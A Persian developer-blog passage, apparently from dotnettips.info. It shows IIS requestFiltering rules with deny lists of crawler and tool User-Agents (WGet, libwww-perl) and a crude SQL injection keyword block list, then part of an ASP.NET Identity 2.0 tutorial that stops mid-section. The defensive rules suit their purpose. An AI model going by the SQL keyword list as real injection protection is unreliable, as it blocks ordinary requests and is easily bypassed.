اگر برابر با true تنظیم گردد، پالایشگر درخواست‌ها موظف است تا با بررسی متن header های درخواست، در صورت یافتن یکی از واژه هایی که در خصیصه denyStrings ذکر کرده اید، درخواست را رد کند.

مقدار پیش فرض false است.

scanQueryString

مقدار Boolean و انتخابی

اگر برابر با true تنظیم گردد، پالایشگر درخواست‌ها موظف است تا Query string را بررسی کند تا در صورتی که یکی از واژه‌های درج شده در خصیصه denyStrings را بیابد، درخواست را رد کند.

اگر خصیصه‌ی unescapeQueryString از تگ < requestFiltering > برابر با true باشد، query string دوبار بررسی می‌شود: یکبار متن query string برای یافتن عبارات ممنوعه و بار دیگر برای یافتن کاراکترهای بدون پوشش scaped .

مقدار پیشفرض false است.

scanUrl

مقدار Boolean و انتخابی

اگر برابر با true تنظیم گردد، پالایشگر درخواست‌ها URL را برای یافتن واژه‌های ممنوعه‌ی ذکر شده در خصیصه denyStrings بررسی می‌نماید.

مقدار پیش فرض false است.

چند مثال:

مثال 1: در این مثال عنوان User-Agent هایی را که در موارد متعدد برای وب سایت هایی که روی آنها کار میکردم مزاحمت ایجاد میکردند را پالایش میکنیم. (لیست این Botها آپدیت میشود)

```
<requestFiltering>
  <filteringRules>
    <filteringRule name="BlockSearchEngines" scanUrl="false" scanQueryString="false">
      <scanHeaders>
        <clear />
        <add requestHeader="User-Agent" />
      </scanHeaders>
      <appliesTo>
        <clear />
      </appliesTo>
      <denyStrings>
        <clear />
        <add string="Python UrlLib" />
        <add string="WGet" />
        <add string="Apache HttpClient" />
        <add string="Unknown Bot" />
        <add string="Yandex Spider" />
        <add string="libwww-perl" />
        <add string="Nutch" />
        <add string="DotBot" />
        <add string="CCBot" />
        <add string="Majestic 12 Bot" />
        <add string="Java" />
        <add string="Link Checker" />
        <add string="Baiduspider" />
        <add string="Exabot" />
        <add string="PHP" />
      </denyStrings>
    </filteringRule>
  </filteringRules>
</requestFiltering>
```

مثال 2: ممانعت از SQL Injection

```
<requestFiltering>
   <filteringRules>
      <filteringRule name="SQLInjection" scanUrl="false" scanQueryString="true">
         <appliesTo>
            <clear />
            <add fileExtension=".asp" />
            <add fileExtension=".aspx" />
            <add fileExtension=".php" />
         </appliesTo>
         <denyStrings>
            <clear />
            <add string="--" />
            <add string=";" />
```

```
            <add string="/*" />
            <add string="@" />
            <add string="char" />
            <add string="alter" />
            <add string="begin" />
            <add string="cast" />
            <add string="create" />
            <add string="cursor" />
            <add string="declare" />
            <add string="delete" />
            <add string="drop" />
            <add string="end" />
            <add string="exec" />
            <add string="fetch" />
            <add string="insert" />
            <add string="kill" />
            <add string="open" />
            <add string="select" />
            <add string="sys" />
            <add string="table" />
            <add string="update" />
         </denyStrings>
         <scanHeaders>
            <clear />
         </scanHeaders>
      </filteringRule>
   </filteringRules>
</requestFiltering>
```

مثال 3: ممانعت از درخواست انواع خاصی از فایل ها

```
<requestFiltering>
   <filteringRules>
      <filteringRule name="Block Image Leeching" scanUrl="false" scanQueryString="false"
scanAllRaw="false">
         <scanHeaders>
            <add requestHeader="User-agent" />
         </scanHeaders>
         <appliesTo>
            <add fileExtension=".zip" />
            <add fileExtension=".rar" />
            <add fileExtension=".exe" />
         </appliesTo>
         <denyStrings>
            <add string="leech-bot" />
         </denyStrings>
      </filteringRule>
   </filteringRules>
</requestFiltering>
```

اطلاعات بیشتر در وب سایت رسمی IIS

نظرات خوانندگان

نویسنده: امین مصباحی
تاریخ: ۱۳۹۳/۰۲/۰۱ ۶:۳

تکمیلی 1: AhrefsBot هم از جمله‌ی Botهای مزاحم است، لذا:

```
</ "add string="AhrefsBot>
```

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۲/۰۱ ۹:۳۵

لیست User-Agent هایی است که من در این سایت بستم تا امروز (از لاگ‌های خطای برنامه استخراج شدند):

bots.txt

نویسنده: مهدیار
تاریخ: ۱۳۹۴/۰۴/۰۸ ۱۶:۴۲

در لیست bots.txt بکی از بوت‌های درج شده huawei است که باعث می‌شود گوشی‌های huawei نتوانند سایت را باز کنند.

نویسنده: علی یگانه مقدم
تاریخ: ۱۳۹۴/۰۴/۰۸ ۱۷:۲۴

مدتی است برای سایت جاری این مشکل رفع شده است.

نویسنده: مهدیار
تاریخ: ۱۳۹۴/۰۴/۰۸ ۱۷:۳۷

ما این مشکل رو داخل سایت خودمون داشتیم . گفتم اطلاع بدم بقیه دوستان هم مطلع بشن از فایل بوت حذفش کنند.

عنوان: ASP.NET MVC و Identity 2.0 : مفاهیم پایه
نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۳/۰۲/۰۸ ۱:۱۵
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, MVC, Security, ASP.NET Identity

در تاریخ 20 مارچ 2014 تیم ASP.NET نسخه نهایی Identity 2.0 را منتشر کردند . نسخه جدید برخی از ویژگی‌های درخواست شده پیشین را عرضه می‌کند و در کل قابلیت‌های احراز هویت و تعیین سطح دسترسی ارزنده ای را پشتیبانی می‌کند. این فریم ورک در تمام اپلیکیشن‌های ASP.NET می‌تواند بکار گرفته شود.

فریم ورک Identity در سال 2013 معرفی شد، که دنباله سیستم ASP.NET Membership بود. سیستم قبلی گرچه طی سالیان استفاده می‌شد اما مشکلات زیادی هم بهمراه داشت. بعلاوه با توسعه دنیای وب و نرم افزار، قابلیت‌های مدرنی مورد نیاز بودند که باید پشتیبانی می‌شدند. فریم ورک Identity در ابتدا سیستم ساده و کارآمدی برای مدیریت کاربران بوجود آورد و مشکلات پیشین را تا حد زیادی برطرف نمود. بعنوان مثال فریم ورک جدید مبتنی بر EF Code-first است، که سفارشی کردن سیستم عضویت را بسیار آسان می‌کند و به شما کنترل کامل می‌دهد. یا مثلا احراز هویت مبتنی بر پروتوکل OAuth پشتیبانی می‌شود که به شما اجازه استفاده از فراهم کنندگان خارجی مانند گوگل، فیسبوک و غیره را می‌دهد.

نسخه جدید این فریم ورک ویژگی‌های زیر را معرفی می‌کند (بعلاوه مواردی دیگر):

مدل حساب‌های کاربری توسعه داده شده. مثلا آدرس ایمیل و اطلاعات تماس را هم در بر می‌گیرد
احراز هویت دو مرحله ای (Two-Factor Authentication) توسط اطلاع رسانی ایمیلی یا پیامکی. مشابه سیستمی که گوگل، مایکروسافت و دیگران استفاده می‌کنند
تایید حساب‌های کاربری توسط ایمیل (Account Confirmation)
مدیریت کاربران و نقش‌ها (Administration of Users & Roles)
قفل کردن حساب‌های کاربری در پاسخ به Invalid log-in attempts

تامین کننده شناسه امنیتی (Security Token Provider) برای بازتولید شناسه‌ها در پاسخ به تغییرات تنظیمات امنیتی (مثلا هنگام تغییر کلمه عبور)

بهبود پشتیبانی از Social log-ins
یکپارچه سازی ساده با Claims-based Authorization

Identity 2.0 تغییرات چشم گیری نسبت به نسخه قبلی به‌وجود آورده است. به نسبت ویژگی‌های جدید، پیچیدگی‌هایی نیز معرفی شده‌اند. اگر به تازگی (مانند خودم) با نسخه 1 این فریم ورک آشنا شده و کار کرده اید، آماده شوید! گرچه لازم نیست از صفر شروع کنید، اما چیزهای بسیاری برای آموختن وجود دارد.

در این مقاله نگاهی اجمالی به نسخه‌ی جدید این فریم ورک خواهیم داشت. کامپوننت‌های جدید و اصلی را خواهیم شناخت و خواهیم دید هر کدام چگونه در این فریم ورک کار می‌کنند. بررسی عمیق و جزئی این فریم ورک از حوصله این مقاله خارج است، بنابراین به این مقاله تنها بعنوان یک نقطه شروع برای آشنایی با این فریم ورک نگاه کنید.

اگر به دنبال اطلاعات بیشتر و بررسی‌های عمیق‌تر هستید، لینک هایی در انتهای این مقاله نگاشت شده اند. همچنین طی هفته‌های آینده چند مقاله تخصصی‌تر خواهم نوشت تا از دید پیاده سازی بیشتر با این فریم ورک آشنا شوید.

در این مقاله با مقدار قابل توجهی کد مواجه خواهید شد. لازم نیست تمام جزئیات آنها را بررسی کنید، تنها با ساختار کلی این فریم ورک آشنا شوید. کامپوننت‌ها را بشناسید و بدانید که هر کدام در کجا قرار گرفته اند، چطور کار می‌کنند و اجزای کلی سیستم چگونه پیکربندی می‌شوند. گرچه، اگر به برنامه نویسی دات نت (ASP.NET, C#) تسلط دارید و با نسخه قبلی Identity هم کار کرده اید، درک کدهای جدید کار ساده ای خواهد بود.

Identity 2.0 با نسخه قبلی سازگار نیست

اپلیکیشن هایی که با نسخه 1.0 این فریم ورک ساخته شده اند نمی‌توانند بسادگی به نسخه جدید مهاجرت کنند. قابلیت هایی جدیدی که پیاده سازی شده اند تغییرات چشمگیری در معماری این فریم ورک بوجود آورده اند، همچنین API مورد استفاده در اپلیکیشن‌ها نیز دستخوش تغییراتی شده است. مهاجرت از نسخه 1.0 به 2.0 نیاز به نوشتن کدهای جدید و اعمال تغییرات متعددی دارد که از حوصله این مقاله خارج است. فعلا همین قدر بدانید که این مهاجرت نمی‌تواند بسادگی در قالب Plug-in and play صورت پذیرد!

شروع به کار : پروژه مثال‌ها را از NuGet دریافت کنید

در حال حاظر (هنگام نوشتن این مقاله) قالب پروژه استانداردی برای اپلیکیشن‌های ASP.NET MVC که ا ز Identity 2.0 استفاده کنند وجود ندارد. برای اینکه بتوانید از نسخه جدید این فریم ورک استفاده کنید، باید پروژه مثال را توسط NuGet دریافت کنید. ابتدا پروژه جدیدی از نوع ASP.NET Web Application بسازید و قالب Empty را در دیالوگ تنظیمات انتخاب کنید.

کنسول Package Manager را باز کنید و با اجرای فرمان زیر پروژه مثال‌ها را دانلود کنید.

```
PM> Install-Package Microsoft.AspNet.Identity.Samples -Pre
```

پس از آنکه NuGet کار خود را به اتمام رساند، ساختار پروژه ای مشابه پروژه‌های استاندارد MVC مشاهده خواهید کرد. پروژه شما شامل قسمت‌های Models, Views, Controllers و کامپوننت‌های دیگری برای شروع به کار است. گرچه در نگاه اول ساختار پروژه بسیار شبیه به پروژه‌های استاندارد ASP.NET MVC به نظر می‌آید، اما با نگاهی دقیق‌تر خواهید دید که تغییرات جدیدی ایجاد شده‌اند و پیچیدگی هایی نیز معرفی شده اند.

پیکربندی Identity : دیگر به سادگی نسخه قبلی نیست

به نظر من یکی از مهم‌ترین نقاط قوت فریم ورک Identity یکی از مهم‌ترین نقاط ضعفش نیز بود. سادگی نسخه 1.0 این فریم ورک کار کردن با آن را بسیار آسان می‌کرد و به سادگی می‌توانستید ساختار کلی و روند کارکردن کامپوننت‌های آن را درک کنید. اما همین سادگی به معنای محدود بودن امکانات آن نیز بود. بعنوان مثال می‌توان به تایید حساب‌های کاربری یا پشتیبانی از احراز هویت‌های دو مرحله ای اشاره کرد.

برای شروع نگاهی اجمالی به پیکربندی این فریم ورک و اجرای اولیه اپلیکیشن خواهیم داشت. سپس تغییرات را با نسخه 1.0 مقایسه می‌کنیم.

در هر دو نسخه، فایلی بنام *Startup.cs* در مسیر ریشه پروژه خواهید یافت. در این فایل کلاس واحدی بنام Startup تعریف شده است که متد ()ConfigureAuth را فراخوانی می‌کند. چیزی که در این فایل مشاهده نمی‌کنیم، خود متد ConfigureAuth است. این بدین دلیل است که مابقی کد کلاس Startup در یک کلاس پاره ای (Partial) تعریف شده که در پوشه *App_Start* قرار دارد. نام فایل مورد نظر *Startup.Auth.cs* است که اگر آن را باز کنید تعاریف یک کلاس پاره ای بهمراه متد ()ConfigureAuth را خواهید یافت. در یک پروژه که از نسخه Identity 1.0 استفاده می‌کند، کد متد ()ConfigureAuth مطابق لیست زیر است.

```
public partial class Startup
{
    public void ConfigureAuth(IAppBuilder app)
    {
        // Enable the application to use a cookie to
        // store information for the signed in user
        app.UseCookieAuthentication(new CookieAuthenticationOptions
        {
            AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,
            LoginPath = new PathString("/Account/Login")
        });

        // Use a cookie to temporarily store information about a
        // user logging in with a third party login provider
        app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);

        // Uncomment the following lines to enable logging
        // in with third party login providers
        //app.UseMicrosoftAccountAuthentication(
        //    clientId: "",
        //    clientSecret: "");

        //app.UseTwitterAuthentication(
        //   consumerKey: "",
        //   consumerSecret: "");

        //app.UseFacebookAuthentication(
        //   appId: "",
        //   appSecret: "");

        //app.UseGoogleAuthentication();
    }
}
```

در قطعه کد بالا پیکربندی لازم برای کوکی‌ها را مشاهده می‌کنید. همچنین کدهایی بصورت توضیحات وجود دارد که به منظور استفاده از تامین کنندگان خارجی مانند گوگل، فیسبوک، توییتر و غیره استفاده می‌شوند. حال اگر به کد این متد در نسخه Identity 2.0 دقت کنید خواهید دید که کد بیشتری نوشته شده است.

```
public partial class Startup {
    public void ConfigureAuth(IAppBuilder app) {
        // Configure the db context, user manager and role
        // manager to use a single instance per request
```

```
        app.CreatePerOwinContext(ApplicationDbContext.Create);
        app.CreatePerOwinContext<ApplicationUserManager>(ApplicationUserManager.Create);
        app.CreatePerOwinContext<ApplicationRoleManager>(ApplicationRoleManager.Create);

        // Enable the application to use a cookie to store information for the
        // signed in user and to use a cookie to temporarily store information
        // about a user logging in with a third party login provider
        // Configure the sign in cookie
        app.UseCookieAuthentication(new CookieAuthenticationOptions {
            AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,
            LoginPath = new PathString("/Account/Login"),
            Provider = new CookieAuthenticationProvider {
                // Enables the application to validate the security stamp when the user
                // logs in. This is a security feature which is used when you
                // change a password or add an external login to your account.
                OnValidateIdentity = SecurityStampValidator
                    .OnValidateIdentity<ApplicationUserManager, ApplicationUser>(
                    validateInterval: TimeSpan.FromMinutes(30),
                    regenerateIdentity: (manager, user)
                    => user.GenerateUserIdentityAsync(manager))
            }
        });

        app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);

        // Enables the application to temporarily store user information when
        // they are verifying the second factor in the two-factor authentication process.
        app.UseTwoFactorSignInCookie(
            DefaultAuthenticationTypes.TwoFactorCookie,
            TimeSpan.FromMinutes(5));

        // Enables the application to remember the second login verification factor such
        // as phone or email. Once you check this option, your second step of
        // verification during the login process will be remembered on the device where
        // you logged in from. This is similar to the RememberMe option when you log in.
        app.UseTwoFactorRememberBrowserCookie(
            DefaultAuthenticationTypes.TwoFactorRememberBrowserCookie);

        // Uncomment the following lines to enable logging in
        // with third party login providers
        //app.UseMicrosoftAccountAuthentication(
        //    clientId: "",
        //    clientSecret: "");

        //app.UseTwitterAuthentication(
        //   consumerKey: "",
        //   consumerSecret: "");

        //app.UseFacebookAuthentication(
        //   appId: "",
        //   appSecret: "");

        //app.UseGoogleAuthentication();
    }
}
```

اول از همه به چند فراخوانی متد app.CreatePerOwinContext بر می‌خوریم. با این فراخوانی‌ها Callback هایی را رجیستر می‌کنیم که آبجکت‌های مورد نیاز را بر اساس نوع تعریف شده توسط type arguments وهله سازی می‌کنند. این وهله‌ها سپس توسط فراخوانی متد context.Get() قابل دسترسی خواهند بود. این به ما می‌گوید که حالا Owin بخشی از اپلیکیشن ما است و فریم ورک Identity 2.0 از آن برای ارائه قابلیت هایش استفاده می‌کند.

مورد بعدی ای که جلب توجه می‌کند فراخوانی‌های دیگری برای پیکربندی احراز هویت دو مرحله‌ای است. همچنین پیکربندی‌های جدیدی برای کوکی‌ها تعریف شده است که در نسخه قبلی وجود نداشتند.

تا اینجا پیکربندی‌های اساسی برای اپلیکیشن شما انجام شده است و می‌توانید از اپلیکیشن خود استفاده کنید. بکارگیری فراهم کنندگان خارجی در حال حاضر غیرفعال است و بررسی آنها نیز از حوصله این مقاله خارج است. این کلاس پیکربندی‌های اساسی Identity را انجام می‌دهد. کامپوننت‌های پیکربندی و کدهای کمکی دیگری نیز وجود دارند که در کلاس *IdentityConfig.cs* تعریف شده اند.

پیش از آنکه فایل *IdentityConfig.cs* را بررسی کنیم، بهتر است نگاهی به کلاس ApplicationUser بیاندازیم که در پوشه Models قرار گرفته است.

کلاس جدید ApplicationUser در Identity 2.0

اگر با نسخه 1.0 این فریم ورک اپلیکیشنی ساخته باشید، ممکن است متوجه شده باشید که کلاس پایه IdentityUser محدود و شاید ناکافی باشد. در نسخه قبلی، این فریم ورک پیاده سازی IdentityUser را تا حد امکان ساده نگاه داشته بود تا اطلاعات پروفایل کاربران را معرفی کند.

```
public class IdentityUser : IUser
{
    public IdentityUser();
    public IdentityUser(string userName);

    public virtual string Id { get; set; }
    public virtual string UserName { get; set; }

    public virtual ICollection<IdentityUserRole> Roles { get; }
    public virtual ICollection<IdentityUserClaim> Claims { get; }
    public virtual ICollection<IdentityUserLogin> Logins { get; }

    public virtual string PasswordHash { get; set; }
    public virtual string SecurityStamp { get; set; }
}
```

بین خواص تعریف شده در این کلاس، تنها Id, UserName و Roles برای ما حائز اهمیت هستند (از دید برنامه نویسی). مابقی خواص عمدتا توسط منطق امنیتی این فریم ورک استفاده می‌شوند و کمک شایانی در مدیریت اطلاعات کاربران به ما نمی‌کنند.

اگر از نسخه Identity 1.0 استفاده کرده باشید و مطالعاتی هم در این زمینه داشته باشید، می‌دانید که توسعه کلاس کاربران بسیار ساده است. مثلا برای افزودن فیلد آدرس ایمیل و اطلاعات دیگر کافی بود کلاس ApplicationUser را ویرایش کنیم و از آنجا که این فریم ورک مبتنی بر EF Code-first است بروز رسانی دیتابیس و مابقی اپلیکیشن کار چندان مشکلی نخواهد بود.

با ظهور نسخه Identity 2.0 نیاز به برخی از این سفارشی سازی‌ها از بین رفته است. گرچه هنوز هم می‌توانید بسادگی مانند گذشته کلاس ApplicationUser را توسعه و گسترش دهید، تیم ASP.NET تغییراتی بوجود آورده اند تا نیازهای رایج توسعه دهندگان را پاسخگو باشد.

اگر به کد کلاس‌های مربوطه دقت کنید خواهید دید که کلاس ApplicationUser همچنان از کلاس پایه IdentityUser ارث بری می‌کند، اما این کلاس پایه پیچیده‌تر شده است. کلاس ApplicationUser در پوشه *Models* و در فایلی بنام *IdentityModels.cs* تعریف شده است. همانطور که می‌بینید تعاریف خود این کلاس بسیار ساده است.

```
public class ApplicationUser : IdentityUser {
    public async Task<ClaimsIdentity> GenerateUserIdentityAsync(
        UserManager<ApplicationUser> manager) {
        // Note the authenticationType must match the one
        // defined in CookieAuthenticationOptions.AuthenticationType
        var userIdentity =
            await manager.CreateIdentityAsync(this,
                DefaultAuthenticationTypes.ApplicationCookie);

        // Add custom user claims here
        return userIdentity;
    }
}
```

حال اگر تعاریف کلاس IdentityUser را بازیابی کنید (با استفاده از قابلیت Go To Definition در VS) خواهید دید که این کلاس خود از کلاس پایه دیگری ارث بری می‌کند. اگر به این پیاده سازی دقت کنید کاملا واضح است که ساختار این کلاس به کلی نسبت به نسخه قبلی تغییر کرده است.

```
public class IdentityUser<TKey, TLogin, TRole, TClaim> : IUser<TKey>
    where TLogin : Microsoft.AspNet.Identity.EntityFramework.IdentityUserLogin<TKey>
```

```
    where TRole : Microsoft.AspNet.Identity.EntityFramework.IdentityUserRole<TKey>
    where TClaim : Microsoft.AspNet.Identity.EntityFramework.IdentityUserClaim<TKey>
{
    public IdentityUser();

    // Used to record failures for the purposes of lockout
    public virtual int AccessFailedCount { get; set; }
    // Navigation property for user claims
    public virtual ICollection<TClaim> Claims { get; }
    // Email
    public virtual string Email { get; set; }
    // True if the email is confirmed, default is false
    public virtual bool EmailConfirmed { get; set; }
    // User ID (Primary Key)
    public virtual TKey Id { get; set; }
    // Is lockout enabled for this user
    public virtual bool LockoutEnabled { get; set; }
    // DateTime in UTC when lockout ends, any
    // time in the past is considered not locked out.
    public virtual DateTime? LockoutEndDateUtc { get; set; }

    // Navigation property for user logins
    public virtual ICollection<TLogin> Logins { get; }
    // The salted/hashed form of the user password
    public virtual string PasswordHash { get; set; }
    // PhoneNumber for the user
    public virtual string PhoneNumber { get; set; }
    // True if the phone number is confirmed, default is false
    public virtual bool PhoneNumberConfirmed { get; set; }
    // Navigation property for user roles
    public virtual ICollection<TRole> Roles { get; }

    // A random value that should change whenever a users
    // credentials have changed (password changed, login removed)
    public virtual string SecurityStamp { get; set; }
    // Is two factor enabled for the user
    public virtual bool TwoFactorEnabled { get; set; }
    // User name
    public virtual string UserName { get; set; }
}
```

اول از همه آنکه برخی از خواص تعریف شده هنوز توسط منطق امنیتی فریم ورک استفاده می‌شوند و از دید برنامه نویسی مربوط به مدیریت اطلاعات کاربران نیستند. اما به هر حال فیلدهای Email و PhoneNumber نیاز به ویرایش تعریف پیش فرض موجودیت کاربران را از بین می‌برد.

اما از همه چیز مهم‌تر امضا (Signature)ی خود کلاس است. این آرگومانهای جنریک چه هستند؟ به امضای این کلاس دقت کنید.

```
public class IdentityUser<TKey, TLogin, TRole, TClaim> : IUser<TKey>
    where TLogin : Microsoft.AspNet.Identity.EntityFramework.IdentityUserLogin<TKey>
    where TRole : Microsoft.AspNet.Identity.EntityFramework.IdentityUserRole<TKey>
    where TClaim : Microsoft.AspNet.Identity.EntityFramework.IdentityUserClaim<TKey>
```

نسخه جدید IdentityUser انواع آرگومانهای جنریک را پیاده سازی می‌کند که انعطاف پذیری بسیار بیشتری به ما می‌دهند. بعنوان مثال بیاد بیاورید که نوع داده فیلد Id در نسخه 1.0 رشته (string) بود. اما در نسخه جدید استفاده از آرگومانهای جنریک (در اینجا TKey) به ما اجازه می‌دهد که نوع این فیلد را مشخص کنیم. همانطور که مشاهده می‌کنید خاصیت Id در این کلاس نوع داده TKey را باز می‌گرداند.

```
public virtual TKey Id { get; set; }
```

یک مورد حائز اهمیت دیگر خاصیت Roles است که بصورت زیر تعریف شده.

```
public virtual ICollection<TRole> Roles { get; }
```

همانطور که می‌بینید نوع TRole بصورت جنریک تعریف شده و توسط تعاریف کلاس IdentityUser مشخص می‌شود. اگر به

محدودیت‌های پیاده سازی این خاصیت دقت کنید می‌بینید که نوع این فیلد به IdentityUserRole<TKey> محدود (constraint) شده است، که خیلی هم نسبت به نسخه 1.0 تغییری نکرده. چیزی که تفاوت چشمگیری کرده و باعث breaking changes می‌شود تعریف خود IdentityUserRole است.

در نسخه Identity 1.0 کلاس IdentityUserRole بصورت زیر تعریف شده بود.

```
public class IdentityUserRole
{
      public IdentityUserRole();
      public virtual IdentityRole Role { get; set; }
      public virtual string RoleId { get; set; }
      public virtual IdentityUser User { get; set; }
      public virtual string UserId { get; set; }
}
```

این کلاس را با پیاده سازی نسخه Identity 2.0 مقایسه کنید.

```
public class IdentityUserRole<TKey>
{
    public IdentityUserRole();
    public virtual TKey RoleId { get; set; }
    public virtual TKey UserId { get; set; }
}
```

پیاده سازی پیشین ارجاعاتی به آبجکت هایی از نوع IdentityRole و IdentityUser داشت. پیاده سازی نسخه 2.0 تنها شناسه‌ها را ذخیره می‌کند. اگر در اپلیکیشنی که از نسخه 1.0 استفاده می‌کند سفارشی سازی هایی انجام داده باشید (مثلا تعریف کلاس Role را توسعه داده باشید، یا سیستمی مانند Group-based Roles را پیاده سازی کرده باشید) این تغییرات سیستم قبلی شما را خواهد شکست.

بررسی پیاده سازی جدید IdentityUser از حوصله این مقاله خارج است. فعلا همین قدر بدانید که گرچه تعاریف پایه کلاس کاربران پیچیده‌تر شده است، اما انعطاف پذیری بسیار خوبی بدست آمده که شایان اهمیت فراوانی است.

از آنجا که کلاس ApplicationUser از IdentityUser ارث بری می‌کند، تمام خواص و تعاریف این کلاس پایه در ApplicationUser قابل دسترسی هستند.

کامپوننت‌های پیکربندی Identity 2.0 و کدهای کمکی

گرچه متد ()ConfigAuth در کلاس Startup، محلی است که پیکربندی Identity در زمان اجرا صورت می‌پذیرد، اما در واقع کامپوننت‌های موجود در فایل *IdentityConfig.cs* هستند که اکثر قابلیت‌های Identity 2.0 را پیکربندی کرده و نحوه رفتار آنها در اپلیکیشن ما را کنترل می‌کنند.

اگر محتوای فایل *IdentityConfig.cs* را بررسی کنید خواهید دید که کلاس‌های متعددی در این فایل تعریف شده اند. می‌توان تک تک این کلاس‌ها را به فایل‌های مجزایی منتقل کرد، اما برای مثال جاری کدها را بهمین صورت رها کرده و نگاهی اجمالی به آنها خواهیم داشت. بهرحال در حال حاظر تمام این کلاس‌ها در فضای نام ApplicationName.Models قرار دارند.

Application User Manager و Application Role Manager

اولین چیزی که در این فایل به آنها بر می‌خوریم دو کلاس ApplicationUserManager و ApplicationRoleManager هستند. آماده باشید، مقدار زیادی کد با انواع داده جنریک در پیش روست!

```
public class ApplicationUserManager : UserManager<ApplicationUser>
{
    public ApplicationUserManager(IUserStore<ApplicationUser> store)
        : base(store)
    {
    }
```

```
    public static ApplicationUserManager Create(
        IdentityFactoryOptions<ApplicationUserManager> options,
        IOwinContext context)
    {
        var manager = new ApplicationUserManager(
            new UserStore<ApplicationUser>(
                context.Get<ApplicationDbContext>()));

        // Configure validation logic for usernames
        manager.UserValidator =
            new UserValidator<ApplicationUser>(manager)
        {
            AllowOnlyAlphanumericUserNames = false,
            RequireUniqueEmail = true
        };

        // Configure validation logic for passwords
        manager.PasswordValidator = new PasswordValidator
        {
            RequiredLength = 6,
            RequireNonLetterOrDigit = true,
            RequireDigit = true,
            RequireLowercase = true,
            RequireUppercase = true,
        };

        // Configure user lockout defaults
        manager.UserLockoutEnabledByDefault = true;
        manager.DefaultAccountLockoutTimeSpan = TimeSpan.FromMinutes(5);
        manager.MaxFailedAccessAttemptsBeforeLockout = 5;

        // Register two factor authentication providers. This application uses
        // Phone and Emails as a step of receiving a code for verifying
        // the user You can write your own provider and plug in here.
        manager.RegisterTwoFactorProvider("PhoneCode",
            new PhoneNumberTokenProvider<ApplicationUser>
        {
            MessageFormat = "Your security code is: {0}"
        });

        manager.RegisterTwoFactorProvider("EmailCode",
            new EmailTokenProvider<ApplicationUser>
        {
            Subject = "SecurityCode",
            BodyFormat = "Your security code is {0}"
        });

        manager.EmailService = new EmailService();
        manager.SmsService = new SmsService();

        var dataProtectionProvider = options.DataProtectionProvider;

        if (dataProtectionProvider != null)
        {
            manager.UserTokenProvider =
                new DataProtectorTokenProvider<ApplicationUser>(
                    dataProtectionProvider.Create("ASP.NET Identity"));
        }

        return manager;
    }

    public virtual async Task<IdentityResult> AddUserToRolesAsync(
        string userId, IList<string> roles)
    {
        var userRoleStore = (IUserRoleStore<ApplicationUser, string>)Store;
        var user = await FindByIdAsync(userId).ConfigureAwait(false);

        if (user == null)
        {
            throw new InvalidOperationException("Invalid user Id");
        }

        var userRoles = await userRoleStore
            .GetRolesAsync(user)
            .ConfigureAwait(false);

        // Add user to each role using UserRoleStore
        foreach (var role in roles.Where(role => !userRoles.Contains(role)))
        {
            await userRoleStore.AddToRoleAsync(user, role).ConfigureAwait(false);
```

```
        }

        // Call update once when all roles are added
        return await UpdateAsync(user).ConfigureAwait(false);
    }

    public virtual async Task<IdentityResult> RemoveUserFromRolesAsync(
        string userId, IList<string> roles)
    {
        var userRoleStore = (IUserRoleStore<ApplicationUser, string>) Store;
        var user = await FindByIdAsync(userId).ConfigureAwait(false);

        if (user == null)
        {
            throw new InvalidOperationException("Invalid user Id");
        }

        var userRoles = await userRoleStore
            .GetRolesAsync(user)
            .ConfigureAwait(false);

        // Remove user to each role using UserRoleStore
        foreach (var role in roles.Where(userRoles.Contains))
        {
            await userRoleStore
                .RemoveFromRoleAsync(user, role)
                .ConfigureAwait(false);
        }

        // Call update once when all roles are removed
        return await UpdateAsync(user).ConfigureAwait(false);
    }
}
```

قطعه کد بالا گرچه شاید به نظر طولانی بیاید، اما در کل، کلاس ApplicationUserManager توابع مهمی را برای مدیریت کاربران فراهم می‌کند: ایجاد کاربران جدید، انتساب کاربران به نقش‌ها و حذف کاربران از نقش ها. این کلاس بخودی خود از کلاس UserManager<ApplicationUser> ارث بری می‌کند بنابراین تمام قابلیت‌های UserManager در این کلاس هم در دسترس است. اگر به متد Create() دقت کنید می‌بینید که وهله ای از نوع ApplicationUserManager باز می‌گرداند. بیشتر تنظیمات پیکربندی و تنظیمات پیش فرض کاربران شما در این متد اتفاق می‌افتد.

مورد حائز اهمیت بعدی در متد Create() فراخوانی context.Get<ApplicationDBContext>() است. بیاد بیاورید که پیشتر نگاهی به متد ConfigAuth() داشتیم که چند فراخوانی CreatePerOwinContext داشت که توسط آنها Callback هایی را رجیستر می‌کردیم. فراخوانی متد context.Get<ApplicationDBContext>() این Callbackها را صدا می‌زند، که در اینجا فراخوانی متد استاتیک ApplicationDbContext.Create() خواهد بود. در ادامه بیشتر درباره این قسمت خواهید خواهند.

اگر دقت کنید می‌بینید که احراز هویت، تعیین سطوح دسترسی و تنظیمات مدیریتی و مقادیر پیش فرض آنها در متد Create() انجام می‌شوند و سپس وهله ای از نوع خود کلاس ApplicationUserManager بازگشت داده می‌شود. همچنین سرویس‌های احراز هویت دو مرحله ای نیز در همین مرحله پیکربندی می‌شوند. اکثر پیکربندی‌ها و تنظیمات نیازی به توضیح ندارند و قابل درک هستند. اما احراز هویت دو مرحله ای نیاز به بررسی عمیق‌تری دارد. در ادامه به این قسمت خواهیم پرداخت. اما پیش از آن نگاهی به کلاس ApplicationRoleManager بیاندازیم.

```
public class ApplicationRoleManager : RoleManager<IdentityRole>
{
    public ApplicationRoleManager(IRoleStore<IdentityRole,string> roleStore)
        : base(roleStore)
    {
    }

    public static ApplicationRoleManager Create(
        IdentityFactoryOptions<ApplicationRoleManager> options,
        IOwinContext context)
    {
        var manager = new ApplicationRoleManager(
            new RoleStore<IdentityRole>(
                context.Get<ApplicationDbContext>()));

        return manager;
```

```
    }
}
```

مانند کلاس ApplicationUserManager مشاهده می‌کنید که کلاس ApplicationRoleManager از RoleManager<IdentityRole> ارث بری می‌کند. بنابراین تمام قابلیت‌های کلاس پایه نیز در این کلاس در دسترس هستند. یکبار دیگر متدی بنام Create() را مشاهده می‌کنید که وهله ای از نوع خود کلاس بر می‌گرداند.

سرویس‌های ایمیل و پیامک برای احراز هویت دو مرحله ای و تایید حساب‌های کاربری

